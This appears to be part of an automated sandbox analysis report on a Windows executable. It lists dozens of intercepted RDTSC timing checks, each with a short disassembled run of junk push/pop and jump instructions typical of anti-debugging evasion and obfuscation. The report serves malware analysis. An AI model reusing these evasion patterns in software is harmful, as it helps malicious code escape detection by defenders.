Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8375DF second address: 837623 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 movsx edi, di 0x0000000c movsx ebx, di 0x0000000f push 00000000h 0x00000011 jmp 00007EFE30DC1B15h 0x00000016 push 00000000h 0x00000018 mov di, bx 0x0000001b mov bx, BFEAh 0x0000001f xchg eax, esi 0x00000020 jp 00007EFE30DC1B19h 0x00000026 pushad 0x00000027 jmp 00007EFE30DC1B0Bh 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 837623 second address: 837645 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 pushad 0x00000007 jmp 00007EFE30C69F0Eh 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007EFE30C69F0Bh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83859D second address: 8385A7 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007EFE30DC1B06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8385A7 second address: 8385AC instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 839490 second address: 83949B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007EFE30DC1B06h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83949B second address: 8394F2 instructions: 0x00000000 rdtsc 0x00000002 jng 00007EFE30C69F19h 0x00000008 jmp 00007EFE30C69F13h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov dword ptr [esp], eax 0x00000012 mov ebx, 60D82EF2h 0x00000017 push 00000000h 0x00000019 push eax 0x0000001a mov edi, dword ptr [ebp+122D2A99h] 0x00000020 pop edi 0x00000021 push 00000000h 0x00000023 mov bx, 1D55h 0x00000027 xchg eax, esi 0x00000028 push edi 0x00000029 jmp 00007EFE30C69F19h 0x0000002e pop edi 0x0000002f push eax 0x00000030 push ecx 0x00000031 push eax 0x00000032 push edx 0x00000033 push edx 0x00000034 pop edx 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83A4F4 second address: 83A4FA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8413ED second address: 8413FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jmp 00007EFE30C69F0Ch 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83A4FA second address: 83A500 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 845D7E second address: 845D8A instructions: 0x00000000 rdtsc 0x00000002 jng 00007EFE30C69F06h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84B250 second address: 84B25A instructions: 0x00000000 rdtsc 0x00000002 je 00007EFE30DC1B1Fh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 809BB0 second address: 809BB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 850116 second address: 850144 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFE30DC1B16h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edx 0x0000000a jp 00007EFE30DC1B06h 0x00000010 jmp 00007EFE30DC1B0Ch 0x00000015 pop edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 850879 second address: 85087D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85087D second address: 850894 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007EFE30DC1B0Eh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 850894 second address: 85089A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85089A second address: 8508A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8508A3 second address: 8508A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8508A9 second address: 8508AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8509EC second address: 8509FE instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 js 00007EFE30C69F3Eh 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8509FE second address: 850A10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007EFE30DC1B0Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 850B65 second address: 850B6A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 850B6A second address: 850B70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 850B70 second address: 850B7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edi 0x0000000a push edx 0x0000000b push edx 0x0000000c pop edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 850F74 second address: 850F7A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 855DC2 second address: 855DD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007EFE30C69F0Eh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 855F6D second address: 855F71 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 856224 second address: 856228 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 856228 second address: 856269 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnl 00007EFE30DC1B0Ch 0x0000000c jmp 00007EFE30DC1B0Fh 0x00000011 pushad 0x00000012 jmp 00007EFE30DC1B17h 0x00000017 jc 00007EFE30DC1B06h 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8558D9 second address: 855917 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007EFE30C69F0Ch 0x0000000b popad 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f jmp 00007EFE30C69F0Dh 0x00000014 jmp 00007EFE30C69F0Dh 0x00000019 popad 0x0000001a jno 00007EFE30C69F08h 0x00000020 popad 0x00000021 push ebx 0x00000022 pushad 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 856634 second address: 85663B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85663B second address: 856645 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007EFE30C69F06h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 856645 second address: 856649 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 856649 second address: 856666 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jmp 00007EFE30C69F0Eh 0x0000000c pop eax 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push edi 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 856666 second address: 85666C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 856BE8 second address: 856C06 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFE30C69F17h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 856C06 second address: 856C0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 856C0C second address: 856C11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 856C11 second address: 856C16 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85B204 second address: 85B20A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85B20A second address: 85B23D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push esi 0x00000006 je 00007EFE30DC1B06h 0x0000000c pop esi 0x0000000d jmp 00007EFE30DC1B18h 0x00000012 push eax 0x00000013 push edx 0x00000014 jne 00007EFE30DC1B06h 0x0000001a jnp 00007EFE30DC1B06h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85B23D second address: 85B241 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 827A77 second address: 827A7B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 827A7B second address: 827A81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 827A81 second address: 827AAA instructions: 0x00000000 rdtsc 0x00000002 jg 00007EFE30DC1B0Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d sub edi, dword ptr [ebp+122D376Dh] 0x00000013 lea eax, dword ptr [ebp+1247B80Ch] 0x00000019 mov edi, ebx 0x0000001b mov edx, eax 0x0000001d push eax 0x0000001e pushad 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 827AAA second address: 827AAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 827AAE second address: 809BB4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFE30DC1B0Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f popad 0x00000010 mov dword ptr [esp], eax 0x00000013 push 00000000h 0x00000015 push esi 0x00000016 call 00007EFE30DC1B08h 0x0000001b pop esi 0x0000001c mov dword ptr [esp+04h], esi 0x00000020 add dword ptr [esp+04h], 0000001Ah 0x00000028 inc esi 0x00000029 push esi 0x0000002a ret 0x0000002b pop esi 0x0000002c ret 0x0000002d call dword ptr [ebp+122D2D72h] 0x00000033 push eax 0x00000034 push edx 0x00000035 push ecx 0x00000036 push esi 0x00000037 pop esi 0x00000038 jg 00007EFE30DC1B06h 0x0000003e pop ecx 0x0000003f jnc 00007EFE30DC1B0Ch 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 827B99 second address: 827B9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82805A second address: 828061 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 828116 second address: 82811F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pushad 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82811F second address: 82816B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007EFE30DC1B15h 0x00000009 popad 0x0000000a jmp 00007EFE30DC1B13h 0x0000000f popad 0x00000010 mov eax, dword ptr [esp+04h] 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007EFE30DC1B18h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82816B second address: 828187 instructions: 0x00000000 rdtsc 0x00000002 jl 00007EFE30C69F08h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [eax] 0x0000000e push eax 0x0000000f push edx 0x00000010 jc 00007EFE30C69F0Ch 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 828187 second address: 8281A8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFE30DC1B0Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007EFE30DC1B0Ah 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8281A8 second address: 8281AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 828269 second address: 82826D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82826D second address: 828284 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFE30C69F0Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edi 0x0000000c pop edi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 828411 second address: 828441 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007EFE30DC1B18h 0x00000009 popad 0x0000000a push esi 0x0000000b jnc 00007EFE30DC1B06h 0x00000011 pop esi 0x00000012 popad 0x00000013 mov eax, dword ptr [esp+04h] 0x00000017 push eax 0x00000018 push edx 0x00000019 push edi 0x0000001a push edx 0x0000001b pop edx 0x0000001c pop edi 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 828441 second address: 828447 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 828447 second address: 82844B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82844B second address: 828461 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jo 00007EFE30C69F06h 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8284F1 second address: 8284FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007EFE30DC1B06h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 828630 second address: 82869F instructions: 0x00000000 rdtsc 0x00000002 jno 00007EFE30C69F0Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push ebp 0x00000010 call 00007EFE30C69F08h 0x00000015 pop ebp 0x00000016 mov dword ptr [esp+04h], ebp 0x0000001a add dword ptr [esp+04h], 00000015h 0x00000022 inc ebp 0x00000023 push ebp 0x00000024 ret 0x00000025 pop ebp 0x00000026 ret 0x00000027 push 00000004h 0x00000029 mov edi, dword ptr [ebp+122D2A3Dh] 0x0000002f nop 0x00000030 pushad 0x00000031 push eax 0x00000032 jne 00007EFE30C69F06h 0x00000038 pop eax 0x00000039 push ecx 0x0000003a jmp 00007EFE30C69F0Eh 0x0000003f pop ecx 0x00000040 popad 0x00000041 push eax 0x00000042 je 00007EFE30C69F21h 0x00000048 push eax 0x00000049 push edx 0x0000004a jmp 00007EFE30C69F13h 0x0000004f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82896F second address: 8289BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 ja 00007EFE30DC1B08h 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 mov dword ptr [esp], eax 0x00000013 mov dl, 81h 0x00000015 push 0000001Eh 0x00000017 push 00000000h 0x00000019 push esi 0x0000001a call 00007EFE30DC1B08h 0x0000001f pop esi 0x00000020 mov dword ptr [esp+04h], esi 0x00000024 add dword ptr [esp+04h], 00000016h 0x0000002c inc esi 0x0000002d push esi 0x0000002e ret 0x0000002f pop esi 0x00000030 ret 0x00000031 or dword ptr [ebp+122D2E77h], ecx 0x00000037 sub edx, dword ptr [ebp+12457EB0h] 0x0000003d nop 0x0000003e pushad 0x0000003f js 00007EFE30DC1B08h 0x00000045 push ecx 0x00000046 push eax 0x00000047 push edx 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8289BD second address: 8289CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a ja 00007EFE30C69F06h 0x00000010 pop edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 828B16 second address: 828B1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 828D11 second address: 828D1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 828D1B second address: 828D44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 jmp 00007EFE30DC1B18h 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 828D44 second address: 828D48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 828D48 second address: 828D4E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 828D4E second address: 828D55 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 828D55 second address: 828D84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [eax] 0x00000009 jnl 00007EFE30DC1B0Eh 0x0000000f mov dword ptr [esp+04h], eax 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007EFE30DC1B12h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85B4F3 second address: 85B512 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFE30C69F0Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007EFE30C69F0Ah 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85F142 second address: 85F160 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007EFE30DC1B06h 0x0000000a jmp 00007EFE30DC1B0Fh 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push edi 0x00000013 pop edi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85F160 second address: 85F164 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 864EA8 second address: 864EAE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 864EAE second address: 864EC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007EFE30C69F0Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 864EC0 second address: 864EED instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFE30DC1B19h 0x00000007 je 00007EFE30DC1B06h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jg 00007EFE30DC1B06h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 864EED second address: 864EF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 864EF1 second address: 864EF5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 864EF5 second address: 864F08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d jng 00007EFE30C69F06h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 863926 second address: 86393E instructions: 0x00000000 rdtsc 0x00000002 jo 00007EFE30DC1B08h 0x00000008 push edi 0x00000009 pop edi 0x0000000a jo 00007EFE30DC1B12h 0x00000010 jbe 00007EFE30DC1B06h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 863D3E second address: 863D4B instructions: 0x00000000 rdtsc 0x00000002 jc 00007EFE30C69F08h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 863D4B second address: 863D53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 863EBD second address: 863EC9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jbe 00007EFE30C69F06h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 863EC9 second address: 863EEA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFE30DC1B13h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push esi 0x0000000c pop esi 0x0000000d jns 00007EFE30DC1B06h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 863EEA second address: 863EEE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86404B second address: 86404F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86404F second address: 864064 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 jc 00007EFE30C69F1Eh 0x0000000d push eax 0x0000000e push edx 0x0000000f jc 00007EFE30C69F06h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 864064 second address: 864068 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 864068 second address: 86406E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
